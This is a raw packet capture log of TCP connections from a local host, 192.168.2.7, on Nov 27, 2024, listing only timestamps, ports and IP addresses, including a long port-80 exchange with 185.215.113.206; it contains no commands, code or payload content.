Nov 27, 2024 17:58:51.132234097 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.132255077 CET	443	49856	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.132927895 CET	443	49856	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.133742094 CET	49861	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.133791924 CET	443	49861	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.133907080 CET	49861	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.134274006 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.134372950 CET	443	49856	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.153289080 CET	49861	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.153340101 CET	443	49861	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.155060053 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.155379057 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.155390978 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.155719995 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.156589031 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.156645060 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:51.159667015 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.159734964 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.159826994 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.160419941 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.160439968 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.160453081 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.160459042 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.165586948 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.165658951 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.165807962 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.169209957 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.169233084 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.169251919 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.169258118 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.182657957 CET	49862	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.182688951 CET	443	49862	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.183052063 CET	49862	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.185322046 CET	49863	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.185344934 CET	443	49863	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.185446024 CET	49863	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.185564041 CET	49862	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.185592890 CET	443	49862	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.188417912 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.190357924 CET	49863	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.190376043 CET	443	49863	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.206867933 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:51.282752991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.381856918 CET	49864	443	192.168.2.7	104.40.82.182
Nov 27, 2024 17:58:51.381907940 CET	443	49864	104.40.82.182	192.168.2.7
Nov 27, 2024 17:58:51.382039070 CET	49864	443	192.168.2.7	104.40.82.182
Nov 27, 2024 17:58:51.382494926 CET	49864	443	192.168.2.7	104.40.82.182
Nov 27, 2024 17:58:51.382510900 CET	443	49864	104.40.82.182	192.168.2.7
Nov 27, 2024 17:58:51.403929949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.740892887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.740973949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.741033077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741053104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741064072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741075039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741086960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741099119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.741156101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.741189003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741203070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741230965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.741257906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.741373062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.741424084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.751422882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.751455069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.751537085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.867804050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.868047953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.950212002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.950285912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.950310946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.950349092 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.954654932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.954732895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.956232071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.956306934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.956346035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.956387997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.961699009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.961735010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.961762905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.961801052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.970325947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.970379114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.970419884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.970468044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.979340076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.979377985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.979394913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.979418039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.988295078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.988311052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.988368034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:51.996963024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.996978998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:51.997040033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.005583048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.005664110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.005914927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.006014109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.014400005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.014414072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.014651060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.022435904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.022511959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.022562027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.022609949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.030864954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.030879021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.030927896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.070226908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.070297003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.160598993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.160660982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.160734892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.160965919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.163078070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.163156033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.163197041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.163197041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.168026924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.168077946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.168183088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.168219090 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.173151016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.173166990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.173197031 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.173234940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.177982092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.178030968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.178031921 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.178075075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.182936907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.182981014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.183010101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.183046103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.187861919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.187954903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.187987089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.188020945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.192819118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.192862034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.192909002 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.197841883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.197885990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.197928905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.197968006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.202810049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.202836990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.202862978 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.202888966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.206427097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.206554890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.206583023 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.206604004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.210923910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.210967064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.210975885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.211034060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.213798046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.213865995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.213903904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.213953018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.217329979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.217384100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.217432022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.217472076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.221004009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.221057892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.221115112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.221190929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.224781036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.224827051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.224834919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.224912882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.228343964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.228423119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.228451014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.228471994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.231955051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.232072115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.232093096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.232116938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.349653006 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:52.350322962 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:52.350352049 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:52.350845098 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:52.351164103 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:52.351248980 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:52.351334095 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:52.371685028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.371707916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.371748924 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.371773958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.373373032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.373425007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.373545885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.373593092 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.376751900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.376800060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.376874924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.376909971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.380156994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.380229950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.380340099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.380383015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.383675098 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.383722067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.383725882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.383774996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.386900902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.386948109 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.387176037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.387239933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.390393972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.390455961 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.390521049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.390568018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.393799067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.393846989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.393984079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.394030094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.395246983 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:52.395258904 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:52.397088051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.397129059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.397140026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.397180080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.400623083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.400645971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.400669098 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.400696993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.403774023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.403820992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.403893948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.403989077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.407190084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.407243013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.407258987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.407282114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.410574913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.410662889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.410749912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.410794020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.413954973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.414012909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.414024115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.414066076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.417455912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.417505026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.417757988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.417860031 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.420665026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.420722008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.420878887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.420931101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.424087048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.424102068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.424173117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.427556992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.427573919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.427625895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.427642107 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.430835962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.430896997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.431072950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.431273937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.434233904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.434298992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.434355974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.437685966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.437701941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.437745094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.437783003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.440977097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.441035986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.441059113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.441184044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.444348097 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.444431067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.444442987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.444484949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.447880030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.447895050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.447930098 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.447945118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.451595068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.451611042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.451649904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.451662064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.453207016 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.453752041 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.453782082 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.454266071 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.454274893 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.454792023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.454858065 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.454868078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.454910994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.457890987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.457905054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.457957983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.461293936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.461340904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.461365938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.461407900 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.558439970 CET	49867	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.558487892 CET	443	49867	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.558582067 CET	49867	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.559118032 CET	49868	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.559155941 CET	443	49868	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.559444904 CET	49868	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.559947968 CET	49867	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.559962988 CET	443	49867	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.560291052 CET	49868	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.560311079 CET	443	49868	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.582318068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.582369089 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.582390070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.582433939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.583302021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.583412886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.583497047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.583695889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.586910963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.586965084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.586986065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.587027073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.589942932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.590106010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.590146065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.590207100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.593310118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.593360901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.593410015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.593569994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.596806049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.596829891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.596868992 CET	49850	80	192.168.2.7	185.215.113.206
